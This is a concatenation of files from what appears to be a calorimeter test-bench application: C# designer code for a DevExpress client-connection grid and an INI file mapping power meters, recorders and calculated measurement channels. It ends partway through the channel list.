this.cgNoColumn.Visible = true;
this.cgNoColumn.VisibleIndex = 0;
this.cgNoColumn.Width = 32;
//
// cgConnectedTimeColumn
//
this.cgConnectedTimeColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgConnectedTimeColumn.AppearanceCell.Options.UseFont = true;
this.cgConnectedTimeColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgConnectedTimeColumn.AppearanceHeader.Options.UseFont = true;
this.cgConnectedTimeColumn.Caption = "Connected Time";
this.cgConnectedTimeColumn.DisplayFormat.FormatString = "yyyy-MM-dd HH:mm:ss";
this.cgConnectedTimeColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.DateTime;
this.cgConnectedTimeColumn.FieldName = "ConnectedTime";
this.cgConnectedTimeColumn.Name = "cgConnectedTimeColumn";
this.cgConnectedTimeColumn.OptionsColumn.AllowEdit = false;
this.cgConnectedTimeColumn.OptionsColumn.AllowFocus = false;
this.cgConnectedTimeColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.cgConnectedTimeColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgConnectedTimeColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgConnectedTimeColumn.OptionsColumn.AllowMove = false;
this.cgConnectedTimeColumn.OptionsColumn.AllowShowHide = false;
this.cgConnectedTimeColumn.OptionsColumn.AllowSize = false;
this.cgConnectedTimeColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgConnectedTimeColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgConnectedTimeColumn.OptionsColumn.ReadOnly = true;
this.cgConnectedTimeColumn.OptionsColumn.TabStop = false;
this.cgConnectedTimeColumn.Visible = true;
this.cgConnectedTimeColumn.VisibleIndex = 1;
this.cgConnectedTimeColumn.Width = 148;
//
// cgIpColumn
//
this.cgIpColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgIpColumn.AppearanceCell.Options.UseFont = true;
this.cgIpColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgIpColumn.AppearanceHeader.Options.UseFont = true;
this.cgIpColumn.Caption = "IP";
this.cgIpColumn.FieldName = "Ip";
this.cgIpColumn.Name = "cgIpColumn";
this.cgIpColumn.OptionsColumn.AllowEdit = false;
this.cgIpColumn.OptionsColumn.AllowFocus = false;
this.cgIpColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.cgIpColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgIpColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgIpColumn.OptionsColumn.AllowMove = false;
this.cgIpColumn.OptionsColumn.AllowShowHide = false;
this.cgIpColumn.OptionsColumn.AllowSize = false;
this.cgIpColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgIpColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgIpColumn.OptionsColumn.ReadOnly = true;
this.cgIpColumn.OptionsColumn.TabStop = false;
this.cgIpColumn.Visible = true;
this.cgIpColumn.VisibleIndex = 2;
this.cgIpColumn.Width = 128;
//
// cgPortColumn
//
this.cgPortColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPortColumn.AppearanceCell.Options.UseFont = true;
this.cgPortColumn.AppearanceCell.Options.UseTextOptions = true;
this.cgPortColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.cgPortColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPortColumn.AppearanceHeader.Options.UseFont = true;
this.cgPortColumn.Caption = "Port";
this.cgPortColumn.FieldName = "Port";
this.cgPortColumn.Name = "cgPortColumn";
this.cgPortColumn.OptionsColumn.AllowEdit = false;
this.cgPortColumn.OptionsColumn.AllowFocus = false;
this.cgPortColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.cgPortColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPortColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPortColumn.OptionsColumn.AllowMove = false;
this.cgPortColumn.OptionsColumn.AllowShowHide = false;
this.cgPortColumn.OptionsColumn.AllowSize = false;
this.cgPortColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPortColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPortColumn.OptionsColumn.ReadOnly = true;
this.cgPortColumn.OptionsColumn.TabStop = false;
this.cgPortColumn.Visible = true;
this.cgPortColumn.VisibleIndex = 3;
this.cgPortColumn.Width = 64;
//
// cgStateColumn
//
this.cgStateColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgStateColumn.AppearanceCell.Options.UseFont = true;
this.cgStateColumn.AppearanceCell.Options.UseTextOptions = true;
this.cgStateColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.cgStateColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgStateColumn.AppearanceHeader.Options.UseFont = true;
this.cgStateColumn.AppearanceHeader.Options.UseTextOptions = true;
this.cgStateColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.cgStateColumn.Caption = "State";
this.cgStateColumn.FieldName = "State";
this.cgStateColumn.Name = "cgStateColumn";
this.cgStateColumn.OptionsColumn.AllowEdit = false;
this.cgStateColumn.OptionsColumn.AllowFocus = false;
this.cgStateColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.cgStateColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgStateColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgStateColumn.OptionsColumn.AllowMove = false;
this.cgStateColumn.OptionsColumn.AllowSize = false;
this.cgStateColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgStateColumn.OptionsColumn.ReadOnly = true;
this.cgStateColumn.Visible = true;
this.cgStateColumn.VisibleIndex = 4;
this.cgStateColumn.Width = 80;
//
// cgScanTimeColumn
//
this.cgScanTimeColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgScanTimeColumn.AppearanceCell.Options.UseFont = true;
this.cgScanTimeColumn.AppearanceCell.Options.UseTextOptions = true;
this.cgScanTimeColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.cgScanTimeColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgScanTimeColumn.AppearanceHeader.Options.UseFont = true;
this.cgScanTimeColumn.Caption = "Scan Time";
this.cgScanTimeColumn.FieldName = "ScanTime";
this.cgScanTimeColumn.Name = "cgScanTimeColumn";
this.cgScanTimeColumn.OptionsColumn.AllowEdit = false;
this.cgScanTimeColumn.OptionsColumn.AllowFocus = false;
this.cgScanTimeColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.cgScanTimeColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgScanTimeColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgScanTimeColumn.OptionsColumn.AllowMove = false;
this.cgScanTimeColumn.OptionsColumn.AllowSize = false;
this.cgScanTimeColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgScanTimeColumn.OptionsColumn.ReadOnly = true;
this.cgScanTimeColumn.Visible = true;
this.cgScanTimeColumn.VisibleIndex = 5;
this.cgScanTimeColumn.Width = 72;
//
// CtrlViewClient
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.Name = "CtrlViewClient";
this.Size = new System.Drawing.Size(904, 645);
this.Enter += new System.EventHandler(this.CtrlViewClient_Enter);
this.bgPanel.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.clientGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.clientGridView)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private DevExpress.XtraGrid.GridControl clientGrid;
private DevExpress.XtraGrid.Views.Grid.GridView clientGridView;
private DevExpress.XtraGrid.Columns.GridColumn cgConnectedTimeColumn;
private DevExpress.XtraGrid.Columns.GridColumn cgIpColumn;
private DevExpress.XtraGrid.Columns.GridColumn cgPortColumn;
private DevExpress.XtraGrid.Columns.GridColumn cgStateColumn;
private DevExpress.XtraGrid.Columns.GridColumn cgScanTimeColumn;
private DevExpress.XtraGrid.Columns.GridColumn cgNoColumn;
}
}
<file_sep>[Database]
FileName = D:\Database\Hnc\Firebird.2.5\Calorimeter.3R\Hnc.Calorimeter.3R.FDB
[Login]
UserNo =0
[Log]
TotalPath = ..\..\Log\Total
TotalFileName = Hnc.Calorimeter.Total
AlarmlPath = ..\..\Log\Alarm
AlarmFileName = Hnc.Calorimeter.Alarm
[Server]
ip = 127.0.0.1
port = 10101
[Listener]
LogPath = ..\..\Log\Listener
LogFileName = Hnc.Calorimeter.Listener
Logging = Event
[Sender]
LogPath = ..\..\Log\Sender
LogFileName = Hnc.Calorimeter.Sender
Logging = All
[Device]
FValueLength = 352
NValueLength = 16
[PowerMeter]
PM1 = WT333(150K),P3
PM2 = WT310(A),P1
PM3 = WT333(300K),P3
PM4 = WT310(B),P1
[Controller]
Ctrl1 = UT55A-01,0,1
[Recorder]
Rec1 = GM10-01
Pressure = 134,8
Thermocouple = 161,180
[Plc]
Plc1 = MasterK-01
[PM1.Channel]
CH1 = PM1.R.W
CH2 = PM1.R.V
CH3 = PM1.R.A
CH4 = PM1.R.Hz
CH5 = PM1.R.PF
CH6 = PM1.R.Wh
CH7 = PM1.S.W
CH8 = PM1.S.V
CH9 = PM1.S.A
CH10 = PM1.S.Hz
CH11 = PM1.S.PF
CH12 = PM1.S.Wh
CH13 = PM1.T.W
CH14 = PM1.T.V
CH15 = PM1.T.A
CH16 = PM1.T.Hz
CH17 = PM1.T.PF
CH18 = PM1.T.Wh
CH19 = PM1.Sigma.W
CH20 = PM1.Sigma.V
CH21 = PM1.Sigma.A
CH22 = PM1.Sigma.Hz
CH23 = PM1.Sigma.PF
CH24 = PM1.Sigma.Wh
CH25 = PM1.Integ.Time
[PM2.Channel]
CH1 = PM2.R.W
CH2 = PM2.R.V
CH3 = PM2.R.A
CH4 = PM2.R.Hz
CH5 = PM2.R.PF
CH6 = PM2.R.Wh
CH7 = PM2.S.W
CH8 = PM2.S.V
CH9 = PM2.S.A
CH10 = PM2.S.Hz
CH11 = PM2.S.PF
CH12 = PM2.S.Wh
CH13 = PM2.T.W
CH14 = PM2.T.V
CH15 = PM2.T.A
CH16 = PM2.T.Hz
CH17 = PM2.T.PF
CH18 = PM2.T.Wh
CH19 = PM2.Sigma.W
CH20 = PM2.Sigma.V
CH21 = PM2.Sigma.A
CH22 = PM2.Sigma.Hz
CH23 = PM2.Sigma.PF
CH24 = PM2.Sigma.Wh
CH25 = PM2.Integ.Time
[PM3.Channel]
CH1 = PM3.R.W
CH2 = PM3.R.V
CH3 = PM3.R.A
CH4 = PM3.R.Hz
CH5 = PM3.R.PF
CH6 = PM3.R.Wh
CH7 = PM3.S.W
CH8 = PM3.S.V
CH9 = PM3.S.A
CH10 = PM3.S.Hz
CH11 = PM3.S.PF
CH12 = PM3.S.Wh
CH13 = PM3.T.W
CH14 = PM3.T.V
CH15 = PM3.T.A
CH16 = PM3.T.Hz
CH17 = PM3.T.PF
CH18 = PM3.T.Wh
CH19 = PM3.Sigma.W
CH20 = PM3.Sigma.V
CH21 = PM3.Sigma.A
CH22 = PM3.Sigma.Hz
CH23 = PM3.Sigma.PF
CH24 = PM3.Sigma.Wh
CH25 = PM3.Integ.Time
[PM4.Channel]
CH1 = PM4.R.W
CH2 = PM4.R.V
CH3 = PM4.R.A
CH4 = PM4.R.Hz
CH5 = PM4.R.PF
CH6 = PM4.R.Wh
CH7 = PM4.S.W
CH8 = PM4.S.V
CH9 = PM4.S.A
CH10 = PM4.S.Hz
CH11 = PM4.S.PF
CH12 = PM4.S.Wh
CH13 = PM4.T.W
CH14 = PM4.T.V
CH15 = PM4.T.A
CH16 = PM4.T.Hz
CH17 = PM4.T.PF
CH18 = PM4.T.Wh
CH19 = PM4.Sigma.W
CH20 = PM4.Sigma.V
CH21 = PM4.Sigma.A
CH22 = PM4.Sigma.Hz
CH23 = PM4.Sigma.PF
CH24 = PM4.Sigma.Wh
CH25 = PM4.Integ.Time
[Rec1.Channel]
CH1 = ID11.Entering.DB
CH2 = ID11.Entering.WB
CH3 = ID11.Leaving.DB
CH4 = ID11.Leaving.WB
CH5 = ID11.Nozzle.Diff.Pressure
CH6 = ID11.Static.Pressure
CH7 = ID11.Nozzle.Inlet.Temp
CH8 = ID12.Entering.DB
CH9 = ID12.Entering.WB
CH10 = ID12.Leaving.DB
CH11 = ID12.Leaving.WB
CH12 = ID12.Nozzle.Diff.Pressure
CH13 = ID12.Static.Pressure
CH14 = ID12.Nozzle.Inlet.Temp
CH15 = ID1.Atm.Pressure
CH16 = ID21.Entering.DB
CH17 = ID21.Entering.WB
CH18 = ID21.Leaving.DB
CH19 = ID21.Leaving.WB
CH20 = ID21.Nozzle.Diff.Pressure
CH21 = ID21.Static.Pressure
CH22 = ID21.Nozzle.Inlet.Temp
CH23 = ID22.Entering.DB
CH24 = ID22.Entering.WB
CH25 = ID22.Leaving.DB
CH26 = ID22.Leaving.WB
CH27 = ID22.Nozzle.Diff.Pressure
CH28 = ID22.Static.Pressure
CH29 = ID22.Nozzle.Inlet.Temp
CH30 = ID2.Atm.Pressure
CH31 = OD.Entering.DB
CH32 = OD.Entering.WB
CH33 = OD.Entering.DP
CH34 = Pressure.1
CH35 = Pressure.2
CH36 = Pressure.3
CH37 = Pressure.4
CH38 = Pressure.5
CH39 = Pressure.6
CH40 = Pressure.7
CH41 = Pressure.8
CH42 = None.1
CH43 = None.2
CH44 = None.3
CH45 = None.4
CH46 = None.5
CH47 = None.6
CH48 = None.7
CH49 = None.8
CH50 = None.9
CH51 = None.10
CH52 = None.11
CH53 = None.12
CH54 = None.13
CH55 = None.14
CH56 = None.15
CH57 = None.16
CH58 = None.17
CH59 = None.18
CH60 = None.19
CH61 = ID1.TC.001
CH62 = ID1.TC.002
CH63 = ID1.TC.003
CH64 = ID1.TC.004
CH65 = ID1.TC.005
CH66 = ID1.TC.006
CH67 = ID1.TC.007
CH68 = ID1.TC.008
CH69 = ID1.TC.009
CH70 = ID1.TC.010
CH71 = ID1.TC.011
CH72 = ID1.TC.012
CH73 = ID1.TC.013
CH74 = ID1.TC.014
CH75 = ID1.TC.015
CH76 = ID1.TC.016
CH77 = ID1.TC.017
CH78 = ID1.TC.018
CH79 = ID1.TC.019
CH80 = ID1.TC.020
CH81 = ID1.TC.021
CH82 = ID1.TC.022
CH83 = ID1.TC.023
CH84 = ID1.TC.024
CH85 = ID1.TC.025
CH86 = ID1.TC.026
CH87 = ID1.TC.027
CH88 = ID1.TC.028
CH89 = ID1.TC.029
CH90 = ID1.TC.030
CH91 = ID1.TC.031
CH92 = ID1.TC.032
CH93 = ID1.TC.033
CH94 = ID1.TC.034
CH95 = ID1.TC.035
CH96 = ID1.TC.036
CH97 = ID1.TC.037
CH98 = ID1.TC.038
CH99 = ID1.TC.039
CH100 = ID1.TC.040
CH101 = ID1.TC.041
CH102 = ID1.TC.042
CH103 = ID1.TC.043
CH104 = ID1.TC.044
CH105 = ID1.TC.045
CH106 = ID1.TC.046
CH107 = ID1.TC.047
CH108 = ID1.TC.048
CH109 = ID1.TC.049
CH110 = ID1.TC.050
CH111 = ID1.TC.051
CH112 = ID1.TC.052
CH113 = ID1.TC.053
CH114 = ID1.TC.054
CH115 = ID1.TC.055
CH116 = ID1.TC.056
CH117 = ID1.TC.057
CH118 = ID1.TC.058
CH119 = ID1.TC.059
CH120 = ID1.TC.060
CH121 = ID2.TC.001
CH122 = ID2.TC.002
CH123 = ID2.TC.003
CH124 = ID2.TC.004
CH125 = ID2.TC.005
CH126 = ID2.TC.006
CH127 = ID2.TC.007
CH128 = ID2.TC.008
CH129 = ID2.TC.009
CH130 = ID2.TC.010
CH131 = ID2.TC.011
CH132 = ID2.TC.012
CH133 = ID2.TC.013
CH134 = ID2.TC.014
CH135 = ID2.TC.015
CH136 = ID2.TC.016
CH137 = ID2.TC.017
CH138 = ID2.TC.018
CH139 = ID2.TC.019
CH140 = ID2.TC.020
CH141 = ID2.TC.021
CH142 = ID2.TC.022
CH143 = ID2.TC.023
CH144 = ID2.TC.024
CH145 = ID2.TC.025
CH146 = ID2.TC.026
CH147 = ID2.TC.027
CH148 = ID2.TC.028
CH149 = ID2.TC.029
CH150 = ID2.TC.030
CH151 = ID2.TC.031
CH152 = ID2.TC.032
CH153 = ID2.TC.033
CH154 = ID2.TC.034
CH155 = ID2.TC.035
CH156 = ID2.TC.036
CH157 = ID2.TC.037
CH158 = ID2.TC.038
CH159 = ID2.TC.039
CH160 = ID2.TC.040
CH161 = ID2.TC.041
CH162 = ID2.TC.042
CH163 = ID2.TC.043
CH164 = ID2.TC.044
CH165 = ID2.TC.045
CH166 = ID2.TC.046
CH167 = ID2.TC.047
CH168 = ID2.TC.048
CH169 = ID2.TC.049
CH170 = ID2.TC.050
CH171 = ID2.TC.051
CH172 = ID2.TC.052
CH173 = ID2.TC.053
CH174 = ID2.TC.054
CH175 = ID2.TC.055
CH176 = ID2.TC.056
CH177 = ID2.TC.057
CH178 = ID2.TC.058
CH179 = ID2.TC.059
CH180 = ID2.TC.060
CH181 = OD.TC.001
CH182 = OD.TC.002
CH183 = OD.TC.003
CH184 = OD.TC.004
CH185 = OD.TC.005
CH186 = OD.TC.006
CH187 = OD.TC.007
CH188 = OD.TC.008
CH189 = OD.TC.009
CH190 = OD.TC.010
CH191 = OD.TC.011
CH192 = OD.TC.012
CH193 = OD.TC.013
CH194 = OD.TC.014
CH195 = OD.TC.015
CH196 = OD.TC.016
CH197 = OD.TC.017
CH198 = OD.TC.018
CH199 = OD.TC.019
CH200 = OD.TC.020
CH201 = OD.TC.021
CH202 = OD.TC.022
CH203 = OD.TC.023
CH204 = OD.TC.024
CH205 = OD.TC.025
CH206 = OD.TC.026
CH207 = OD.TC.027
CH208 = OD.TC.028
CH209 = OD.TC.029
CH210 = OD.TC.030
CH211 = OD.TC.031
CH212 = OD.TC.032
CH213 = OD.TC.033
CH214 = OD.TC.034
CH215 = OD.TC.035
CH216 = OD.TC.036
CH217 = OD.TC.037
CH218 = OD.TC.038
CH219 = OD.TC.039
CH220 = OD.TC.040
CH221 = OD.TC.041
CH222 = OD.TC.042
CH223 = OD.TC.043
CH224 = OD.TC.044
CH225 = OD.TC.045
CH226 = OD.TC.046
CH227 = OD.TC.047
CH228 = OD.TC.048
CH229 = OD.TC.049
CH230 = OD.TC.050
CH231 = OD.TC.051
CH232 = OD.TC.052
CH233 = OD.TC.053
CH234 = OD.TC.054
CH235 = OD.TC.055
CH236 = OD.TC.056
CH237 = OD.TC.057
CH238 = OD.TC.058
CH239 = OD.TC.059
CH240 = OD.TC.060
[Ctrl1.Channel]
CH1 = CTRL1.PV
CH2 = CTRL1.SV
CH3 = CTRL1.OUT
CH4 = CTRL1.Mode
CH5 = CTRL1.SPN
CH6 = CTRL1.P
CH7 = CTRL1.I
CH8 = CTRL1.D
CH9 = CTRL1.DEV
CH10 = CTRL1.BS
CH11 = CTRL1.FL
CH12 = CTRL1.MOUT
[Plc1.Channel]
CH1 = PLC1.1
CH2 = PLC1.2
CH3 = PLC1.3
CH4 = PLC1.4
CH5 = PLC1.5
CH6 = PLC1.6
CH7 = PLC1.7
CH8 = PLC1.8
CH9 = PLC1.9
CH10 = PLC1.10
CH11 = PLC1.11
CH12 = PLC1.12
CH13 = PLC1.13
CH14 = PLC1.14
CH15 = PLC1.15
CH16 = PLC1.16
[Constant.Channel]
CH1 = Total.Rated.Capacity,Capacity,kcal,0.0,false,false,Capacity
CH2 = Total.Rated.Power,Power,W,0.0,false,false,Power
CH3 = Total.Rated.EER_COP,EER_COP,kcal,0.000,false,false,EER_COP
CH4 = Total.Rated.Voltage,Voltage,V,0.0,false,false,Voltage
CH5 = Total.Rated.Current,Current,A,0.000,false,false,Current
CH6 = Total.Rated.Frequency,Frequency,Hz,0.00,false,false,Frequency
[Calculated.Channel]
CH1 = Total.Capacity,Capacity,kcal,0.0,true,true,Capacity
CH2 = Total.Power,Power,W,0.0,true,true,Power
CH3 = Total.Current,Current,A,0.000,true,true,Current
CH4 = Total.EER_COP,EER_COP,kcal,0.000,true,true,EER_COP
CH5 = Total.Capacity.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH6 = Total.Power.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH7 = Total.EER_COP.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH8 = Total.Current.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH9 = Total.IDU.Power,Power,W,0.0,true,true,Power
CH10 = Total.IDU.Voltage,Voltage,V,0.0,true,true,Voltage
CH11 = Total.IDU.Current,Current,A,0.000,true,true,Current
CH12 = Total.IDU.Frequency,Frequency,Hz,0.00,true,true,Frequency
CH13 = Total.IDU.Power.Factor,Ratio,Percent,0.00,true,true,Ratio
CH14 = Total.IDU.Integ.Power,PowerComsumption,Wh,0.0,true,true,PowerComsumption
CH15 = Total.IDU.Integ.Time,Time,sec,0.0,true,true,Time
CH16 = Total.ODU.Power,Power,W,0.0,true,true,Power
CH17 = Total.ODU.Voltage,Voltage,V,0.0,true,true,Voltage
CH18 = Total.ODU.Current,Current,A,0.000,true,true,Current
CH19 = Total.ODU.Frequency,Frequency,Hz,0.00,true,true,Frequency
CH20 = Total.ODU.Power.Factor,Ratio,Percent,0.00,true,true,Ratio
CH21 = Total.ODU.Integ.Power,PowerComsumption,Wh,0.0,true,true,PowerComsumption
CH22 = Total.ODU.Integ.Time,Time,sec,0.0,true,true,Time
CH23 = ID1.IDU.Power,Power,W,0.0,true,true,Power
CH24 = ID1.IDU.Voltage,Voltage,V,0.0,true,true,Voltage
CH25 = ID1.IDU.Current,Current,A,0.000,true,true,Current
CH26 = ID1.IDU.Frequency,Frequency,Hz,0.00,true,true,Frequency
CH27 = ID1.IDU.Power.Factor,Ratio,Percent,0.00,true,true,Ratio
CH28 = ID1.IDU.Integ.Power,PowerComsumption,Wh,0.0,true,true,PowerComsumption
CH29 = ID1.IDU.Integ.Time,Time,sec,0.0,true,true,Time
CH30 = ID1.ODU.Power,Power,W,0.0,true,true,Power
CH31 = ID1.ODU.Voltage,Voltage,V,0.0,true,true,Voltage
CH32 = ID1.ODU.Current,Current,A,0.000,true,true,Current
CH33 = ID1.ODU.Frequency,Frequency,Hz,0.00,true,true,Frequency
CH34 = ID1.ODU.Power.Factor,Ratio,Percent,0.00,true,true,Ratio
CH35 = ID1.ODU.Integ.Power,PowerComsumption,Wh,0.0,true,true,PowerComsumption
CH36 = ID1.ODU.Integ.Time,Time,sec,0.0,true,true,Time
CH37 = ID2.IDU.Power,Power,W,0.0,true,true,Power
CH38 = ID2.IDU.Voltage,Voltage,V,0.0,true,true,Voltage
CH39 = ID2.IDU.Current,Current,A,0.000,true,true,Current
CH40 = ID2.IDU.Frequency,Frequency,Hz,0.00,true,true,Frequency
CH41 = ID2.IDU.Power.Factor,Ratio,Percent,0.00,true,true,Ratio
CH42 = ID2.IDU.Integ.Power,PowerComsumption,Wh,0.0,true,true,PowerComsumption
CH43 = ID2.IDU.Integ.Time,Time,sec,0.0,true,true,Time
CH44 = ID2.ODU.Power,Power,W,0.0,true,true,Power
CH45 = ID2.ODU.Voltage,Voltage,V,0.0,true,true,Voltage
CH46 = ID2.ODU.Current,Current,A,0.000,true,true,Current
CH47 = ID2.ODU.Frequency,Frequency,Hz,0.00,true,true,Frequency
CH48 = ID2.ODU.Power.Factor,Ratio,Percent,0.00,true,true,Ratio
CH49 = ID2.ODU.Integ.Power,PowerComsumption,Wh,0.0,true,true,PowerComsumption
CH50 = ID2.ODU.Integ.Time,Time,sec,0.0,true,true,Time
CH51 = OD.Entering.RH,Ratio,Percent,0.00,true,true,Humidity
CH52 = OD.Sat.Dis.Temp1,Temperature,Celsius,0.00,true,true,Temperature
CH53 = OD.Sat.Suc.Temp1,Temperature,Celsius,0.00,true,true,Temperature
CH54 = OD.Sub.Cooling1,Temperature,Celsius,0.00,true,true,Temperature
CH55 = OD.Super.Heat1,Temperature,Celsius,0.00,true,true,Temperature
CH56 = OD.Sat.Dis.Temp2,Temperature,Celsius,0.00,true,true,Temperature
CH57 = OD.Sat.Suc.Temp2,Temperature,Celsius,0.00,true,true,Temperature
CH58 = OD.Sub.Cooling2,Temperature,Celsius,0.00,true,true,Temperature
CH59 = OD.Super.Heat2,Temperature,Celsius,0.00,true,true,Temperature
CH60 = ID11.Entering.RH,Ratio,Percent,0.00,true,true,Humidity
CH61 = ID11.Capacity,Capacity,kcal,0.0,true,true,Capacity
CH62 = ID11.Capacity.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH63 = ID11.Sensible.Heat,Capacity,kcal,0.0,true,true,Capacity
CH64 = ID11.Latent.Heat,Capacity,kcal,0.0,true,true,Capacity
CH65 = ID11.Sensible.Heat.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH66 = ID11.Heat.Leakage,Capacity,kcal,0.0,true,true,Capacity
CH67 = ID11.Drain.Weight,Flux,kg_h,0.00,true,true,Flux
CH68 = ID11.Leaving.RH,Ratio,Percent,0.00,true,true,Ratio
CH69 = ID11.Entering.Enthalpy,Enthalpy,kcal,0.000,true,true,Enthalpy
CH70 = ID11.Leaving.Enthalpy,Enthalpy,kcal,0.000,true,true,Enthalpy
CH71 = ID11.Entering.Humidity.Ratio,HumidityRatio,kg_kg,0.0000,true,true,HumidityRatio
CH72 = ID11.Leaving.Humidity.Ratio,HumidityRatio,kg_kg,0.0000,true,true,HumidityRatio
CH73 = ID11.Leaving.Specific.Heat,Heat,kcal,0.0000,true,true,Heat
CH74 = ID11.Leaving.Specific.Volume,Volume,m3_kg,0.0000,true,true,Volume
CH75 = ID11.Air.Flow.Lev,AirFlow,CMM,0.00,true,true,AirFlow
CH76 = ID11.Air.Velocity.Lev,Velocity,m_s,0.000,true,true,Velocity
CH77 = ID12.Entering.RH,Ratio,Percent,0.00,true,true,Humidity
CH78 = ID12.Capacity,Capacity,kcal,0.0,true,true,Capacity
CH79 = ID12.Capacity.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH80 = ID12.Sensible.Heat,Capacity,kcal,0.0,true,true,Capacity
CH81 = ID12.Latent.Heat,Capacity,kcal,0.0,true,true,Capacity
CH82 = ID12.Sensible.Heat.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH83 = ID12.Heat.Leakage,Capacity,kcal,0.0,true,true,Capacity
CH84 = ID12.Drain.Weight,Flux,kg_h,0.00,true,true,Flux
CH85 = ID12.Leaving.RH,Ratio,Percent,0.00,true,true,Ratio
CH86 = ID12.Entering.Enthalpy,Enthalpy,kcal,0.000,true,true,Enthalpy
CH87 = ID12.Leaving.Enthalpy,Enthalpy,kcal,0.000,true,true,Enthalpy
CH88 = ID12.Entering.Humidity.Ratio,HumidityRatio,kg_kg,0.0000,true,true,HumidityRatio
CH89 = ID12.Leaving.Humidity.Ratio,HumidityRatio,kg_kg,0.0000,true,true,HumidityRatio
CH90 = ID12.Leaving.Specific.Heat,Heat,kcal,0.0000,true,true,Heat
CH91 = ID12.Leaving.Specific.Volume,Volume,m3_kg,0.0000,true,true,Volume
CH92 = ID12.Air.Flow.Lev,AirFlow,CMM,0.00,true,true,AirFlow
CH93 = ID12.Air.Velocity.Lev,Velocity,m_s,0.000,true,true,Velocity
CH94 = ID21.Entering.RH,Ratio,Percent,0.00,true,true,Humidity
CH95 = ID21.Capacity,Capacity,kcal,0.0,true,true,Capacity
CH96 = ID21.Capacity.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH97 = ID21.Sensible.Heat,Capacity,kcal,0.0,true,true,Capacity
CH98 = ID21.Latent.Heat,Capacity,kcal,0.0,true,true,Capacity
CH99 = ID21.Sensible.Heat.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH100 = ID21.Heat.Leakage,Capacity,kcal,0.0,true,true,Capacity
CH101 = ID21.Drain.Weight,Flux,kg_h,0.00,true,true,Flux
CH102 = ID21.Leaving.RH,Ratio,Percent,0.00,true,true,Ratio
CH103 = ID21.Entering.Enthalpy,Enthalpy,kcal,0.000,true,true,Default
